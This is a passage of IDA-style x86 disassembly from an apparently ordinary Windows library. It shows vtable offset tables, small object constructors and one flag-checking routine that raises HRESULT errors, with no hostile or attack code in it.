dd offset sub_69B19029
dd offset sub_69B814F6
dd offset sub_69B365F3
dd offset sub_69B365F3
dd offset sub_69B84A3B
dd offset sub_69B84A3B
dd offset sub_69B365E3
align 8
off_69B146F8 dd offset loc_69B81B32 ; DATA XREF: sub_69B81A91+8o
; sub_69B8215B+9o
dd offset sub_69B81BB0
dd offset loc_69B81E90
dd offset loc_69B81BC1
dd offset sub_69B1EC38
dd offset sub_69B81BD7
dd offset sub_69B81C2C
dd offset sub_69B81AC2
dd offset sub_69B81AD6
dd offset sub_69B81EBA
dd offset sub_69B365E3
dd offset sub_69B84A4B
dd offset sub_69B84A43
dd offset sub_69B81AED
dd offset sub_69B81AF3
dd offset sub_69B84A4B
dd offset sub_69B84A4B
dd offset sub_69B84A3B
dd offset sub_69B84A43
dd offset sub_69B84A43
dd offset sub_69B81B05
dd offset sub_69B365EB
dd offset sub_69B81B23
off_69B14754 dd offset sub_69B82F06 ; DATA XREF: sub_69B82CB4+12o
; sub_69B82F37+Fo
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B83AAA
dd offset sub_69B836B7
dd offset sub_69B83717
dd offset sub_69B842BA
dd offset sub_69B8436C
align 8
off_69B14778 dd offset sub_69B2D67E ; DATA XREF: sub_69B1D811+17o
; sub_69B8A2FC+Co ...
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B8A425
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B8A0FE
dd offset sub_69B1B57D
dd offset sub_69B8A3A3
dd offset sub_69B8A123
dd offset sub_69B8A280
dd offset nullsub_5
dd offset sub_69B8A104
dd offset sub_69B8A32C
dd offset sub_69B1D842
off_69B147B8 dd offset sub_69B2D67E ; DATA XREF: sub_69B8A440+Co
; sub_69B8A4FA-63o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B8A425
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B8A2C7
dd offset sub_69B1B57D
dd offset sub_69B8A3A3
dd offset sub_69B8A123
dd offset sub_69B8A280
dd offset nullsub_5
dd offset sub_69B8A104
dd offset sub_69B8A2D8
dd offset sub_69B1D842
off_69B147F8 dd offset sub_69B2D67E ; DATA XREF: sub_69B8A676-32o
; sub_69B8A65E+Co
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B8A425
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B8A629
dd offset sub_69B1B57D
dd offset sub_69B8A3A3
dd offset sub_69B8A123
dd offset sub_69B8A280
dd offset nullsub_5
dd offset sub_69B8A104
dd offset sub_69B8A32C
dd offset sub_69B1D842
dd offset sub_69B8A6A0
dd offset sub_69B8A6A9
dd offset sub_69B8A6C5
dd offset sub_69B8A64E
dd offset sub_69B8A6F8
align 10h
off_69B14850 dd offset sub_69B2D67E ; DATA XREF: sub_69B8AD6D+3Ao
; sub_69B8B436+20o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B18284
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B8AF25
dd offset sub_69B792A8
dd offset sub_69B8AE35
off_69B14890 dd offset sub_69B2D67E ; DATA XREF: sub_69B8ACCF+37o
; sub_69B8B407+23o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B18284
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B8AEDA
dd offset sub_69B8AB3A
dd offset sub_69B8ADE8
off_69B148D0 dd offset sub_69B2D67E ; DATA XREF: sub_69B8C728+7o
; sub_69B8CAAF+Eo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B8CAFC
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B8C767
dd offset sub_69B8C75D
align 10h
off_69B14910 dd offset sub_69B2D67E ; DATA XREF: sub_69B8CB17+18o
; sub_69B8CBD2+Eo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B8CBF1
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B8CB9A
dd offset sub_69B8C64B
dd offset sub_69B8CB95
off_69B14950 dd offset sub_69B2D67E ; DATA XREF: sub_69B8CDB7-2Eo
; sub_69B8D083-17o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B8D034
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B8CDA1
dd offset sub_69B8C75D
off_69B1498C dd offset sub_69B448B2 ; DATA XREF: sub_69B8D0D7+Fo
; sub_69B8D12A+Fo
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B8D237
dd offset sub_69B8D4D5
dd offset sub_69B8D56F
dd offset sub_69B5CD37
dd offset sub_69B8D25F
off_69B149AC dd offset sub_69B448B2 ; DATA XREF: sub_69B8D93D+10o
; sub_69B8F007+Ao
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B8ECE6
dd offset sub_69B8DB4C
dd offset sub_69B8EE33
dd offset sub_69B8DA4B
dd offset sub_69B8E714
off_69B149CC dd offset sub_69B2D67E ; DATA XREF: sub_69B8FFC9+8o
; sub_69B90002+Bo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B90098
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B8FFE3
off_69B14A04 dd offset sub_69B2D67E ; DATA XREF: sub_69B901B8+Co
; sub_69B901E8+17o ...
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B903B7
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B900EB
dd offset sub_69B900F1
dd offset sub_69B9011A
dd offset sub_69B90369
dd offset sub_69B2F559
dd offset nullsub_5
dd offset nullsub_5
; ---------------------------------------------------------------------------
loc_69B14A3C: ; DATA XREF: .text:off_69B3CD00o
push esi
push edi
mov edi, [esp+0Ch]
lea eax, [edi+1]
shl eax, 4
push eax
call sub_69B17EF3
mov esi, eax
mov ecx, esi
mov [esi+8], edi
call sub_69B19118
pop edi
mov dword ptr [esi], offset off_69B14A68
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
align 4
off_69B14A68 dd offset sub_69B2D67E ; DATA XREF: .text:69B14A5Bo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B18284
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B3CF17
dd offset sub_69B3CAC8
dd offset sub_69B3CACC
; =============== S U B R O U T I N E =======================================
sub_69B14AA8 proc near ; CODE XREF: sub_69B43D3C+83p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov esi, ecx
call sub_69B43784
push [esp+8+arg_0]
lea edi, [esi+1Ch]
mov ecx, edi
call sub_69B43314
mov eax, [esp+8+arg_4]
cmp eax, 0FFFFFFFFh
mov dword ptr [edi], offset off_69B14B74
setnz cl
mov [esi+38h], eax
pop edi
mov dword ptr [esi], offset off_69B14B44
mov dword ptr [esi+4], offset off_69B14B34
mov dword ptr [esi+0Ch], offset off_69B28078
mov dword ptr [esi+18h], offset off_69B14AF8
mov [esi+34h], cl
mov eax, esi
pop esi
retn 8
sub_69B14AA8 endp
; ---------------------------------------------------------------------------
align 4
off_69B14AF8 dd offset loc_69B43B52 ; DATA XREF: sub_69B14AA8+3Fo
dd offset sub_69B43BC0
dd offset sub_69B5A11A
dd offset sub_69B5A124
dd offset sub_69B5A12B
dd offset sub_69B5A135
dd offset sub_69B5A13F
dd offset loc_69B43ABD
dd offset sub_69B43AD8
dd offset sub_69B84A43
dd offset sub_69B84A3B
dd offset sub_69B84A4B
dd offset sub_69B84A43
dd offset sub_69B84A4B
dd offset sub_69B84A3B
off_69B14B34 dd offset loc_69B43B48 ; DATA XREF: sub_69B14AA8+31o
dd offset sub_69B5A0FC
dd offset sub_69B5A106
dd offset sub_69B2CF0E
off_69B14B44 dd offset loc_69B43356 ; DATA XREF: sub_69B14AA8+2Bo
dd offset sub_69B1F56C
dd offset sub_69B7793E
dd offset sub_69B5A0DE
dd offset sub_69B3BB2E
dd offset sub_69B7794D
dd offset sub_69B3C310
dd offset sub_69B43BCA
dd offset sub_69B43BE2
dd offset sub_69B43BF6
dd offset sub_69B43B66
dd offset sub_69B43C0A
off_69B14B74 dd offset loc_69B43AA9 ; DATA XREF: sub_69B14AA8+1Eo
dd offset sub_69B43B0F
dd offset sub_69B43B1F
dd offset sub_69B43B5C
dd offset sub_69B43B07
dd offset sub_69B4058D
; =============== S U B R O U T I N E =======================================
sub_69B14B8C proc near ; CODE XREF: sub_69B43C62+73p
; .text:69B5450Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov esi, ecx
call sub_69B437A5
push [esp+8+arg_0]
lea edi, [esi+1Ch]
mov ecx, edi
call sub_69B43314
mov eax, [esp+8+arg_4]
mov dword ptr [edi], offset off_69B14C64
mov [esi+34h], eax
pop edi
mov dword ptr [esi], offset off_69B14C20
mov dword ptr [esi+4], offset off_69B14C10
mov dword ptr [esi+0Ch], offset off_69B28078
mov dword ptr [esi+18h], offset off_69B14BD4
mov eax, esi
pop esi
retn 8
sub_69B14B8C endp
; ---------------------------------------------------------------------------
align 4
off_69B14BD4 dd offset loc_69B43C28 ; DATA XREF: sub_69B14B8C+39o
dd offset sub_69B43BC0
dd offset sub_69B5A11A
dd offset sub_69B5A124
dd offset sub_69B5A12B
dd offset sub_69B5A135
dd offset sub_69B5A13F
dd offset sub_69B43B76
dd offset sub_69B43B91
dd offset sub_69B84A43
dd offset sub_69B84A3B
dd offset sub_69B84A4B
dd offset sub_69B84A43
dd offset sub_69B84A4B
dd offset sub_69B84A3B
off_69B14C10 dd offset loc_69B43C1E ; DATA XREF: sub_69B14B8C+2Bo
dd offset sub_69B5A0FC
dd offset sub_69B5A106
dd offset sub_69B2CF0E
off_69B14C20 dd offset loc_69B4344C ; DATA XREF: sub_69B14B8C+25o
dd offset sub_69B1F56C
dd offset sub_69B7793E
dd offset sub_69B5A0DE
dd offset sub_69B3BB2E
dd offset sub_69B7794D
dd offset sub_69B3C310
dd offset sub_69B4097C
dd offset sub_69B435DC
dd offset sub_69B40A6C
dd offset sub_69B43BCA
dd offset sub_69B43BE2
dd offset sub_69B40BD6
dd offset sub_69B40CBC
dd offset sub_69B43BF6
dd offset sub_69B43B66
dd offset sub_69B43C0A
off_69B14C64 dd offset loc_69B43AA9 ; DATA XREF: sub_69B14B8C+1Bo
dd offset sub_69B43B0F
dd offset sub_69B43B1F
dd offset sub_69B43B5C
dd offset sub_69B43B07
dd offset sub_69B405D3
; =============== S U B R O U T I N E =======================================
sub_69B14C7C proc near ; CODE XREF: sub_69B1C12C+2E8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B440C4
push [esp+4+arg_4]
lea eax, [esi+14h]
mov dword ptr [esi], offset off_69B14CAC
mov dword ptr [esi+4], offset off_69B280B8
and dword ptr [eax], 0
push eax
call sub_69B17320
mov eax, esi
pop esi
retn 8
sub_69B14C7C endp
; ---------------------------------------------------------------------------
align 4
off_69B14CAC dd offset sub_69B45BAF ; DATA XREF: sub_69B14C7C+13o
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B88815
dd offset sub_69B1EC38
dd offset sub_69B888D4
dd offset sub_69B84A4B
dd offset sub_69B84A43
dd offset sub_69B8898C
; =============== S U B R O U T I N E =======================================
sub_69B14CD0 proc near ; CODE XREF: sub_69B1C12C+2F54p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B440DE
push [esp+4+arg_4]
lea eax, [esi+14h]
mov dword ptr [esi], offset off_69B14D00
mov dword ptr [esi+4], offset off_69B280B8
and dword ptr [eax], 0
push eax
call sub_69B17320
mov eax, esi
pop esi
retn 8
sub_69B14CD0 endp
; ---------------------------------------------------------------------------
align 10h
off_69B14D00 dd offset sub_69B45BAF ; DATA XREF: sub_69B14CD0+13o
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B598E8
dd offset sub_69B59994
; =============== S U B R O U T I N E =======================================
sub_69B14D14 proc near ; CODE XREF: sub_69B1C12C+2ED4p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B440F8
mov dword ptr [esi], offset off_69B14D38
mov dword ptr [esi+4], offset off_69B14D34
mov eax, esi
pop esi
retn 4
sub_69B14D14 endp
; ---------------------------------------------------------------------------
align 4
off_69B14D34 dd offset sub_69B45851 ; DATA XREF: sub_69B14D14+12o
off_69B14D38 dd offset sub_69B45BAF ; DATA XREF: sub_69B14D14+Co
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B59A34
; =============== S U B R O U T I N E =======================================
sub_69B14D48 proc near ; CODE XREF: sub_69B1C12C+2DA7p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B45880
push [esp+4+arg_4]
lea eax, [esi+14h]
mov dword ptr [esi], offset off_69B14D78
mov dword ptr [esi+4], offset off_69B280B8
and dword ptr [eax], 0
push eax
call sub_69B17320
mov eax, esi
pop esi
retn 8
sub_69B14D48 endp
; ---------------------------------------------------------------------------
align 4
off_69B14D78 dd offset sub_69B45BAF ; DATA XREF: sub_69B14D48+13o
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B88A3C
dd offset sub_69B88C6C
dd offset sub_69B88AFC
dd offset sub_69B88BA4
dd offset sub_69B84A3B
dd offset sub_69B8CB95
; =============== S U B R O U T I N E =======================================
sub_69B14D9C proc near ; CODE XREF: sub_69B46F1C+Ep
push esi
mov esi, ecx
call sub_69B19118
xor eax, eax
mov dword ptr [esi], offset off_69B14DBC
mov [esi+8], eax
mov [esi+10h], eax
mov [esi+14h], al
mov eax, esi
pop esi
retn
sub_69B14D9C endp
; ---------------------------------------------------------------------------
align 4
off_69B14DBC dd offset sub_69B2D67E ; DATA XREF: sub_69B14D9C+Ao
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B47103
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B46F8F
; =============== S U B R O U T I N E =======================================
sub_69B14DF4 proc near ; CODE XREF: sub_69B46FAD+Ep
push esi
mov esi, ecx
call sub_69B19118
mov dword ptr [esi], offset off_69B14E10
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
mov eax, esi
pop esi
retn
sub_69B14DF4 endp
; ---------------------------------------------------------------------------
align 10h
off_69B14E10 dd offset sub_69B2D67E ; DATA XREF: sub_69B14DF4+8o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B78671
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B46FEC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B4700D
loc_69B14E48: ; CODE XREF: sub_69B4700D+Dj
push esi
mov esi, ecx
call sub_69B19118
mov dword ptr [esi], offset off_69B14E74
mov dword ptr [esi+8], offset off_69B14E6C
and dword ptr [esi+0Ch], 0
and dword ptr [esi+10h], 0
mov eax, esi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_69B4700D
; ---------------------------------------------------------------------------
align 4
off_69B14E6C dd offset loc_69B46882 ; DATA XREF: sub_69B4700D-321B7o
dd offset loc_69B468B5
off_69B14E74 dd offset sub_69B2D67E ; DATA XREF: sub_69B4700D-321BDo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B47157
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B47022
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B14EAC proc near ; CODE XREF: sub_69B42A54+A3p
var_1C = word ptr -1Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
mov esi, ecx
mov eax, [esi+8]
xor ebx, ebx
mov ecx, eax
push edi
xor edi, edi
shr ecx, 14h
inc ebx
test cl, bl
mov [ebp+var_4], edi
jnz short loc_69B14EE1
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B4h]
push eax
push esi
call sub_69B4A04A
mov [ebp+var_4], eax
jmp short loc_69B14F09
; ---------------------------------------------------------------------------
loc_69B14EE1: ; CODE XREF: sub_69B14EAC+1Dj
mov ecx, eax
shr ecx, 3
test cl, bl
jnz short loc_69B14F09
shr eax, 4
and eax, 3Fh
jz short loc_69B14F09
cmp eax, ebx
jz short loc_69B14F09
push edi
push 0C00CE205h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B14F09: ; CODE XREF: sub_69B14EAC+33j
; sub_69B14EAC+3Cj ...
mov ecx, [ebp+arg_0]
call sub_69B2EF67
test al, al
jz short loc_69B14F47
cmp [ebp+var_4], edi
jz short loc_69B14F2D
push ebx
push ebx
push [ebp+var_4]
mov ecx, esi
push edi
push edi
call sub_69B4C674
jmp loc_69B150A8
; ---------------------------------------------------------------------------
loc_69B14F2D: ; CODE XREF: sub_69B14EAC+6Cj
mov eax, [esi+8]
shr eax, 0Eh
test al, bl
jz loc_69B150A8
mov ecx, esi
call sub_69B4B872
jmp loc_69B150A8
; ---------------------------------------------------------------------------
loc_69B14F47: ; CODE XREF: sub_69B14EAC+67j
mov eax, [esi+8]
shr eax, 14h
test al, bl
jz loc_69B15065
mov ecx, [ebp+arg_0]
push ebx
call sub_69B2F43C
push eax
call sub_69B20F54
mov [ebp+arg_0], eax
mov eax, [esi]
mov ecx, esi
mov [ebp+var_4], edi
mov [ebp+var_C], edi
mov [ebp+var_1C], bx
call dword ptr [eax+0F4h]
cmp [ebp+arg_0], 2
mov edi, eax
jz short loc_69B14F8D
mov eax, [esi+8]
shr eax, 0Fh
test al, bl
jz short loc_69B14FFB
loc_69B14F8D: ; CODE XREF: sub_69B14EAC+D5j
mov eax, [esi+8]
shr eax, 0Ah
test al, bl
jnz short loc_69B14FFB
test edi, edi
jz short loc_69B14FFB
mov ecx, [esi+0Ch]
call sub_69B3DABE
mov [ebp+var_8], eax
mov eax, [esi+8]
shr eax, 0Fh
test al, bl
jz short loc_69B14FCF
push 0
push ebx
mov ecx, esi
call sub_69B4AD10
test eax, eax
jz short loc_69B14FCB
mov ecx, [ebp+var_8]
push eax
call sub_69B8B033
and dword ptr [edi+8], 0FFFFFFFBh
loc_69B14FCB: ; CODE XREF: sub_69B14EAC+110j
and byte ptr [esi+9], 7Fh
loc_69B14FCF: ; CODE XREF: sub_69B14EAC+102j
cmp [ebp+arg_0], 2
jnz short loc_69B14FFB
push 0
mov ecx, esi
call sub_69B47E6C
push eax
push ebx
mov ecx, esi
mov [ebp+var_C], eax
call sub_69B4AD10
test eax, eax
jz short loc_69B1504E
push ebx
push edi
push eax
push [ebp+var_8]
mov ecx, esi
call sub_69B481EB
loc_69B14FFB: ; CODE XREF: sub_69B14EAC+DFj
; sub_69B14EAC+E9j ...
cmp [ebp+arg_0], 0Ch
jge short loc_69B15006
cmp [ebp+arg_0], ebx
jnz short loc_69B1504E
loc_69B15006: ; CODE XREF: sub_69B14EAC+153j
mov eax, [esi+8]
mov ecx, eax
shr ecx, 4
and ecx, 3Fh
cmp [ebp+arg_0], ecx
jz short loc_69B15035
shr eax, 14h
test al, bl
mov ecx, esi
jz short loc_69B1502B
xor eax, eax
push eax
push eax
push eax
call sub_69B4936A
jmp short loc_69B15032
; ---------------------------------------------------------------------------
loc_69B1502B: ; CODE XREF: sub_69B14EAC+171j
push 0
call sub_69B48E56
loc_69B15032: ; CODE XREF: sub_69B14EAC+17Dj
mov [ebp+var_4], eax
loc_69B15035: ; CODE XREF: sub_69B14EAC+168j
push [ebp+var_4]
lea eax, [ebp+var_1C]
push 0
push eax
push [ebp+arg_0]
mov ecx, esi
push [ebp+var_C]
push dword ptr [esi+0Ch]
call sub_69B4858B
loc_69B1504E: ; CODE XREF: sub_69B14EAC+140j
; sub_69B14EAC+158j
mov eax, [esi]
lea ecx, [ebp+var_1C]
push ecx
push [ebp+arg_0]
mov ecx, esi
call dword ptr [eax+0E8h]
or dword ptr [esi+8], 8
jmp short loc_69B150A8
; ---------------------------------------------------------------------------
loc_69B15065: ; CODE XREF: sub_69B14EAC+A3j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B4h]
mov edi, [eax+70h]
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1Fh
mov ebx, eax
jg short loc_69B15084
call sub_69B2E6D8
loc_69B15084: ; CODE XREF: sub_69B14EAC+1D1j
mov ebx, [ebx+88h]
push 0 ; int
push 0 ; lpString
push offset off_69B150B0 ; int
mov ecx, edi
call sub_69B4D394
push eax
push [ebp+arg_0]
mov ecx, esi
push 0
push ebx
call sub_69B4D02C
loc_69B150A8: ; CODE XREF: sub_69B14EAC+7Cj
; sub_69B14EAC+89j ...
pop edi
pop esi
pop ebx
leave
retn 4
sub_69B14EAC endp
; ---------------------------------------------------------------------------
align 10h
off_69B150B0 dd offset off_69B17D10 ; DATA XREF: sub_69B14EAC+1E2o
; .data:69B92204o ...
align 8
dd 2
dd offset aDt ; "dt"
aDt: ; DATA XREF: .text:69B150BCo
unicode 0, <dt>,0
align 4
; =============== S U B R O U T I N E =======================================
sub_69B150C8 proc near ; CODE XREF: sub_69B4DCB3+3Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
mov esi, ecx
call sub_69B19118
push [esp+0Ch+arg_0]
xor ecx, ecx
mov dword ptr [esi], offset off_69B15124
lea edi, [esi+8]
mov [edi], ecx
lea eax, [esi+10h]
lea ebx, [esi+0Ch]
mov [ebx], ecx
mov [eax], ecx
push eax
mov [esi+18h], ecx
call sub_69B17320
push [esp+0Ch+arg_4]
push edi
call sub_69B17320
push [esp+0Ch+arg_8]
push ebx
call sub_69B17320
mov eax, [esp+0Ch+arg_C]
mov [esi+14h], eax
push 0
lea eax, [esi+18h]
push eax
call sub_69B17320
pop edi
mov eax, esi
pop esi
pop ebx
retn 10h
sub_69B150C8 endp
; ---------------------------------------------------------------------------
off_69B15124 dd offset sub_69B2D67E ; DATA XREF: sub_69B150C8+10o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B4DBA0
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B4D429
; =============== S U B R O U T I N E =======================================
sub_69B1515C proc near ; CODE XREF: sub_69B4D460+Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
mov esi, ecx
call sub_69B19118
push [esp+0Ch+arg_0]
xor eax, eax
mov dword ptr [esi], offset off_69B151B0
lea edi, [esi+8]
mov [edi], eax
lea ebx, [esi+0Ch]
mov [ebx], eax
push edi
mov [esi+10h], eax
call sub_69B17320
mov eax, [esp+0Ch+arg_4]
test eax, eax
jnz short loc_69B15192
mov eax, [edi]
mov eax, [eax+10h]
loc_69B15192: ; CODE XREF: sub_69B1515C+2Fj
push eax
lea eax, [esi+10h]
push eax
call sub_69B17320
push [esp+0Ch+arg_8]
push ebx
call sub_69B17320
pop edi
mov eax, esi
pop esi
pop ebx
retn 0Ch
sub_69B1515C endp
; ---------------------------------------------------------------------------
align 10h
off_69B151B0 dd offset sub_69B2D67E ; DATA XREF: sub_69B1515C+10o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B7868C
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B4D1E2
dd offset sub_69B4D281
dd offset sub_69B4D23C
dd offset sub_69B2F49D
dd offset sub_69B4DC0B
dd offset nullsub_5
dd offset sub_69B4DB74
; =============== S U B R O U T I N E =======================================
sub_69B151E8 proc near ; CODE XREF: sub_69B51279+4p
push esi
push 64Ch
call sub_69B17EF3
mov esi, eax
test esi, esi
jz short loc_69B1520A
mov ecx, esi
call sub_69B19118
mov dword ptr [esi], offset off_69B15210
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B1520A: ; CODE XREF: sub_69B151E8+Fj
xor eax, eax
pop esi
retn
sub_69B151E8 endp
; ---------------------------------------------------------------------------
align 10h
off_69B15210 dd offset sub_69B2D67E ; DATA XREF: sub_69B151E8+18o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B18284
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset nullsub_5
; =============== S U B R O U T I N E =======================================
sub_69B15248 proc near ; CODE XREF: sub_69B1BE7F+8C13p
; sub_69B519E0+D5p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_8]
push edi
push [esp+0Ch+arg_4]
mov esi, ecx
push [esp+10h+arg_0]
call sub_69B1BEB8
or byte ptr [esi+0Ah], 80h
mov dword ptr [esi], offset off_69B15298
mov edi, [edi+0E8h]
mov eax, [edi]
push edi
call dword ptr [eax+4]
mov eax, [esp+8+arg_C]
test eax, eax
mov [esi+10h], edi
jz short loc_69B15284
mov [esi+18h], eax
jmp short loc_69B1528C
; ---------------------------------------------------------------------------
loc_69B15284: ; CODE XREF: sub_69B15248+35j
push esi
mov ecx, edi
call sub_69B517AA
loc_69B1528C: ; CODE XREF: sub_69B15248+3Aj
pop edi
mov eax, esi
pop esi
retn 10h
sub_69B15248 endp
; ---------------------------------------------------------------------------
align 8
off_69B15298 dd offset sub_69B48072 ; DATA XREF: sub_69B15248+1Ao
dd offset sub_69B1DE10
dd offset sub_69B491D1
dd offset sub_69B59E43
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B59D0C
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B59E5E
dd offset sub_69B4917C
dd offset sub_69B2FAB8
dd offset sub_69B4918C
dd offset sub_69B47F81
dd offset sub_69B481D8
dd offset sub_69B4AD59
dd offset sub_69B48756
dd offset sub_69B48894
dd offset sub_69B4BC9C
dd offset sub_69B4BCA1
dd offset sub_69B4CD82
dd offset sub_69B47F5C
dd offset sub_69B4A5B1
dd offset sub_69B48789
dd offset sub_69B487EE
dd offset sub_69B4A5F8
dd offset sub_69B47F91
dd offset sub_69B4CD87
dd offset sub_69B4CDC8
dd offset sub_69B4CE22
dd offset sub_69B4A6F9
dd offset sub_69B4A392
dd offset sub_69B4A37F
dd offset sub_69B48769
dd offset sub_69B4A3A9
dd offset sub_69B4AA2A
dd offset sub_69B4A621
dd offset sub_69B4BCB5
dd offset sub_69B47FF1
dd offset sub_69B4D1CD
dd offset sub_69B4CE71
dd offset sub_69B73462
dd offset sub_69B4874C
dd offset sub_69B48867
dd offset sub_69B4884D
dd offset sub_69B4D1A8
dd offset sub_69B4A626
dd offset sub_69B4D1AD
dd offset sub_69B4800F
dd offset sub_69B491B5
dd offset sub_69B48882
dd offset sub_69B4ADB4
dd offset sub_69B481E1
dd offset sub_69B48AA4
dd offset sub_69B59E02
dd offset sub_69B89E92
dd offset sub_69B59EA7
dd offset sub_69B59D29
dd offset sub_69B59D1C
dd offset sub_69B59D35
dd offset sub_69B59D45
dd offset sub_69B59D51
dd offset sub_69B59D61
dd offset sub_69B59D7B
dd offset sub_69B59D9A
dd offset sub_69B59DC5
dd offset sub_69B59DF8
dd offset sub_69B59D1F
dd offset sub_69B59D24
dd offset sub_69B59EB7
; ---------------------------------------------------------------------------
